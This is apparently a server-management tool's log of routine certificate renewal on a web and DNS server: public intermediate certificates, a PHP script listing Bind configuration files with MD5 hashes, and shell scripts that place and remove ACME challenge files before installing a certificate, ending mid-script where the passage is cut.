SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-17 14:36:04: Establishing a connection
2026-06-17 14:36:20: Establishing a connection
2026-06-17 14:36:20: 

PUT: /tmp/pkp122845

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-17 14:36:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp122845; rm /tmp/pkp122845'

2026-06-17 14:36:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-17 14:36:26: Establishing a connection
2026-06-17 14:36:26: Establishing a connection
2026-06-17 14:36:26: 

PUT: /tmp/pkp901483

#!/bin/bash
if [ -d "/var/www/christadelphia_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-17 14:36:26: 

chmod 755 /tmp/pkp901483; /tmp/pkp901483; rm /tmp/pkp901483

2026-06-17 14:36:26: 


1


2026-06-17 14:36:28: Establishing a connection
2026-06-17 14:36:28: 

PUT: /tmp/pkp287591

#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
cat > kUb_ZRks5YyfePJJVzIjdBz6q9EBMS6s_geSA_clbEc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
kUb_ZRks5YyfePJJVzIjdBz6q9EBMS6s_geSA_clbEc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 kUb_ZRks5YyfePJJVzIjdBz6q9EBMS6s_geSA_clbEc
cat > WlgUQO7ardC4wAhuze0YCZZi5FldefvYxyKfG9WLPrE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
WlgUQO7ardC4wAhuze0YCZZi5FldefvYxyKfG9WLPrE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 WlgUQO7ardC4wAhuze0YCZZi5FldefvYxyKfG9WLPrE


2026-06-17 14:36:28: 

chmod 755 /tmp/pkp287591; /tmp/pkp287591; rm /tmp/pkp287591

2026-06-17 14:36:28: 




2026-06-17 14:36:37: Establishing a connection
2026-06-17 14:36:37: 

PUT: /tmp/pkp739346

#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
rm kUb_ZRks5YyfePJJVzIjdBz6q9EBMS6s_geSA_clbEc
rm WlgUQO7ardC4wAhuze0YCZZi5FldefvYxyKfG9WLPrE


2026-06-17 14:36:37: 

chmod 755 /tmp/pkp739346; /tmp/pkp739346; rm /tmp/pkp739346

2026-06-17 14:36:37: 




2026-06-17 14:36:37: Establishing a connection
2026-06-17 14:36:37: 

PUT: /tmp/pkp100365

#!/bin/bash
temp_file=$(mktemp)
TARGET=d91b2f0a4f6cfa0542190dabbd9574d1.crt

cat > $temp_file <<'endmsg'
